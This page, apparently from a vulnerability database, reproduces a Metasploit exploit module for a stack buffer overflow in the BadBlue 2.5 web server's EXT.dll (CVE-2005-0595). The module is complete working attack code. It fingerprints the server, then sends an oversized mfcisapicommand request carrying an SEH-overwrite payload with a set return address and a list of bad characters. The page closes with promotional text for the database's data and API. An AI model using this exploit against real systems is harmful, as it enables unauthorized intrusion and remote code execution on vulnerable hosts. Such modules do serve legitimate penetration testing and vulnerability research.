Lucene search
+L

BadBlue 2.5 EXT.dll Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by acaroType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 42 Views

BadBlue 2.5 EXT.dll Buffer Overflow stack exploi

Related
Code
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',  
'Description' => %q{  
This is a stack overflow exploit for BadBlue version 2.5.  
},  
'Author' => 'acaro <acaro [at] jervus.it>',  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-0595' ],  
[ 'OSVDB', '14238' ],  
[ 'BID', '7387' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],   
],  
'DisclosureDate' => 'Apr 20 2003',  
'DefaultTarget' => 0))  
  
register_options( [ Opt::RPORT(80) ], self.class )  
end  
  
def check  
connect  
  
sock.put("GET / HTTP/1.0\r\n\r\n")  
resp = sock.get_once  
disconnect  
  
if (resp =~ /BadBlue\/2.5/)  
return Exploit::CheckCode::Vulnerable  
end   
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
uri = "GET /ext.dll?mfcisapicommand="   
sploit = rand_text_alphanumeric(500)   
seh = generate_seh_payload(target.ret)  
sploit[492, seh.length] = seh  
  
print_status("Trying target #{target.name}...")  
  
sock.put(uri + sploit + "\r\n\r\n")  
  
handler  
disconnect  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation